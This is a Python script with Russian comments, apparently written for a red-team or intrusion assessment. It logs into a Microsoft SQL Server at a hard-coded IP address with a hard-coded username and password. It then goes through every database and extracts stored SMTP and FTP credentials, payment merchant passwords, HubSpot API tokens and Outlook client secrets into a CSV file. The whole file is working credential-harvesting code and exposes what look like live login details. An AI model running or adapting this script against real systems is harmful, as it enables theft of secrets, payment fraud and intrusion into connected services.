#!/usr/bin/env python3 """ Сбор usernames и endpoints для всех типов секретов - ИСПРАВЛЕННАЯ ВЕРСИЯ Использует реальные названия полей из INFORMATION_SCHEMA """ import subprocess import csv import json from pathlib import Path SERVER = "50.21.183.111" USER = "irely" PASS = "iRely486" OUTPUT_DIR = Path('/root/ir-assessment/redteam/irelydata/endpoints_usernames') OUTPUT_DIR.mkdir(exist_ok=True) def sqlcmd(db, query, timeout=30): """Запуск sqlcmd через docker""" cmd = [ "docker", "run", "--rm", "--network", "host", "mcr.microsoft.com/mssql/server:2022-latest", "/opt/mssql-tools18/bin/sqlcmd", "-S", SERVER, "-U", USER, "-P", PASS, "-C", "-d", db, "-Q", query, "-s", "|", "-W" ] try: result = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout) return result.stdout, result.stderr except subprocess.TimeoutExpired: return "", "TIMEOUT" def get_databases(): """Получить список баз данных""" cmd = [ "docker", "run", "--rm", "--network", "host", "mcr.microsoft.com/mssql/server:2022-latest", "/opt/mssql-tools18/bin/sqlcmd", "-S", SERVER, "-U", USER, "-P", PASS, "-C", "-Q", "SET NOCOUNT ON; SELECT name FROM sys.databases WHERE name NOT IN ('master','model','msdb','tempdb') ORDER BY name", "-s", "|", "-W", "-h", "-1" ] result = subprocess.run(cmd, capture_output=True, text=True, timeout=30) lines = [l.strip() for l in result.stdout.strip().splitlines() if l.strip()] skip = ('To learn', 'SQL Server', 'This container', 'user', 'visit', 'running', 'as', 'more', 'is', 'mssql', 'container') dbs = [l for l in lines if not any(l.startswith(p) for p in skip) and l not in ('i21Hangfire',) and '\\' not in l] return dbs def table_exists(db, table): """Проверить существование таблицы""" stdout, _ = sqlcmd(db, f"SELECT COUNT(*) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME='{table}'", timeout=15) for line in stdout.strip().splitlines(): if line.strip().isdigit(): return int(line.strip()) > 0 return False def column_exists(db, table, column): """Проверить существование колонки""" stdout, _ = sqlcmd(db, f"SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='{table}' AND COLUMN_NAME='{column}'", timeout=15) for line in stdout.strip().splitlines(): if line.strip().isdigit(): return int(line.strip()) > 0 return False def collect_smtp_credentials(db): """Собрать SMTP credentials""" credentials = [] # tblSMCompanyPreference (глобальные настройки) if table_exists(db, 'tblSMCompanyPreference'): # Реальные названия полей из INFORMATION_SCHEMA if column_exists(db, 'tblSMCompanyPreference', 'strSMTPUserName'): select_fields = ['intCompanyPreferenceId', 'strSMTPUserName', 'strSMTPPassword', 'strSMTPHost', 'intSMTPPort'] query = f"SELECT {', '.join(select_fields)} FROM tblSMCompanyPreference WHERE strSMTPUserName IS NOT NULL" stdout, _ = sqlcmd(db, query) for line in stdout.strip().splitlines(): if '|' in line and not line.startswith('---'): parts = [p.strip() for p in line.split('|')] if len(parts) >= 5: credentials.append({ 'db': db, 'table': 'tblSMCompanyPreference', 'type': 'smtp_global', 'pk': parts[0], 'username': parts[1], 'password_encrypted': parts[2], 'host': parts[3], 'port': parts[4] }) # tblEMEntitySMTPInformation (персональные настройки) if table_exists(db, 'tblEMEntitySMTPInformation'): # Реальные названия полей из INFORMATION_SCHEMA if column_exists(db, 'tblEMEntitySMTPInformation', 'strUserName'): select_fields = ['intSMTPInformationId', 'strUserName', 'strPassword', 'strSMTPServer', 'strSMTPPort'] query = f"SELECT {', '.join(select_fields)} FROM tblEMEntitySMTPInformation WHERE strUserName IS NOT NULL" stdout, _ = sqlcmd(db, query) for line in stdout.strip().splitlines(): if '|' in line and not line.startswith('---'): parts = [p.strip() for p in line.split('|')] if len(parts) >= 5: credentials.append({ 'db': db, 'table': 'tblEMEntitySMTPInformation', 'type': 'smtp_personal', 'pk': parts[0], 'username': parts[1], 'password_encrypted': parts[2], 'host': parts[3], 'port': parts[4] }) return credentials def collect_ftp_credentials(db): """Собрать FTP credentials""" credentials = [] # tblSMCompanyPreference (глобальные настройки) if table_exists(db, 'tblSMCompanyPreference'): # Реальные названия полей из INFORMATION_SCHEMA if column_exists(db, 'tblSMCompanyPreference', 'strFTPUser'): select_fields = ['intCompanyPreferenceId', 'strFTPUser', 'strFTPPassword', 'strFTPHost', 'intFTPPort'] query = f"SELECT {', '.join(select_fields)} FROM tblSMCompanyPreference WHERE strFTPUser IS NOT NULL" stdout, _ = sqlcmd(db, query) for line in stdout.strip().splitlines(): if '|' in line and not line.startswith('---'): parts = [p.strip() for p in line.split('|')] if len(parts) >= 5: credentials.append({ 'db': db, 'table': 'tblSMCompanyPreference', 'type': 'ftp_global', 'pk': parts[0], 'username': parts[1], 'password_encrypted': parts[2], 'host': parts[3], 'port': parts[4] }) # tblAPVendor (настройки для vendor) if table_exists(db, 'tblAPVendor'): # Реальные названия полей из INFORMATION_SCHEMA if column_exists(db, 'tblAPVendor', 'strStoreFTPUsername'): select_fields = ['intEntityId', 'strStoreFTPUsername', 'strStoreFTPPassword', 'strStoreFTPPath'] query = f"SELECT {', '.join(select_fields)} FROM tblAPVendor WHERE strStoreFTPUsername IS NOT NULL" stdout, _ = sqlcmd(db, query) for line in stdout.strip().splitlines(): if '|' in line and not line.startswith('---'): parts = [p.strip() for p in line.split('|')] if len(parts) >= 4: credentials.append({ 'db': db, 'table': 'tblAPVendor', 'type': 'ftp_vendor', 'pk': parts[0], 'username': parts[1], 'password_encrypted': parts[2], 'host': parts[3] # FTP path instead of host }) return credentials def collect_merchant_credentials(db): """Собрать Merchant credentials""" credentials = [] # tblSMCompanyPreference (глобальные настройки) if table_exists(db, 'tblSMCompanyPreference'): # Реальные названия полей из INFORMATION_SCHEMA if column_exists(db, 'tblSMCompanyPreference', 'strMerchantId'): select_fields = ['intCompanyPreferenceId', 'strMerchantId', 'strMerchantPassword', 'strPaymentServer'] query = f"SELECT {', '.join(select_fields)} FROM tblSMCompanyPreference WHERE strMerchantId IS NOT NULL" stdout, _ = sqlcmd(db, query) for line in stdout.strip().splitlines(): if '|' in line and not line.startswith('---'): parts = [p.strip() for p in line.split('|')] if len(parts) >= 4: credentials.append({ 'db': db, 'table': 'tblSMCompanyPreference', 'type': 'merchant_global', 'pk': parts[0], 'username': parts[1], # merchant_id 'password_encrypted': parts[2], 'host': parts[3] # payment server }) return credentials def collect_api_credentials(db): """Собрать API credentials""" credentials = [] # tblCRMCompanyConfig (Hubspot и другие CRM) if table_exists(db, 'tblCRMCompanyConfig'): # Проверяем существование полей if column_exists(db, 'tblCRMCompanyConfig', 'strHubspotAPIToken'): select_fields = ['intCompanyConfigId', 'strHubspotAPIToken', 'strOutlookClientSecret', 'strCompanyName'] query = f"SELECT {', '.join(select_fields)} FROM tblCRMCompanyConfig WHERE strHubspotAPIToken IS NOT NULL OR strOutlookClientSecret IS NOT NULL" stdout, _ = sqlcmd(db, query) for line in stdout.strip().splitlines(): if '|' in line and not line.startswith('---'): parts = [p.strip() for p in line.split('|')] if len(parts) >= 4: credentials.append({ 'db': db, 'table': 'tblCRMCompanyConfig', 'type': 'api_crm', 'pk': parts[0], 'username': parts[3], # company name 'password_encrypted': parts[1], # hubspot token 'host': parts[2] # outlook secret }) return credentials def main(): print("=== Сбор usernames и endpoints - ИСПРАВЛЕННАЯ ВЕРСИЯ ===") dbs = get_databases() print(f"Баз данных: {len(dbs)}") all_credentials = [] for db in dbs: print(f"\n[{db}]") # SMTP credentials smtp_creds = collect_smtp_credentials(db) if smtp_creds: print(f" SMTP: {len(smtp_creds)} записей") all_credentials.extend(smtp_creds) # FTP credentials ftp_creds = collect_ftp_credentials(db) if ftp_creds: print(f" FTP: {len(ftp_creds)} записей") all_credentials.extend(ftp_creds) # Merchant credentials merchant_creds = collect_merchant_credentials(db) if merchant_creds: print(f" Merchant: {len(merchant_creds)} записей") all_credentials.extend(merchant_creds) # API credentials api_creds = collect_api_credentials(db) if api_creds: print(f" API: {len(api_creds)} записей") all_credentials.extend(api_creds) # Сохраняем результаты if all_credentials: output_file = OUTPUT_DIR / 'endpoints_usernames.csv' fieldnames = ['db', 'table', 'type', 'pk', 'username', 'password_encrypted', 'host', 'port'] with open(output_file, 'w', newline='', encoding='utf-8') as f: writer = csv.DictWriter(f, fieldnames=fieldnames) writer.writeheader() writer.writerows(all_credentials) print(f"\n=== Результаты ===") print(f"Всего записей: {len(all_credentials)}") print(f"Файл: {output_file}") # Группировка по типам by_type = {} for cred in all_credentials: type_key = cred['type'] if type_key not in by_type: by_type[type_key] = [] by_type[type_key].append(cred) print(f"\nПо типам:") for type_key, creds in by_type.items(): print(f" {type_key}: {len(creds)} записей") else: print("\nНет данных для сохранения") if __name__ == '__main__': main()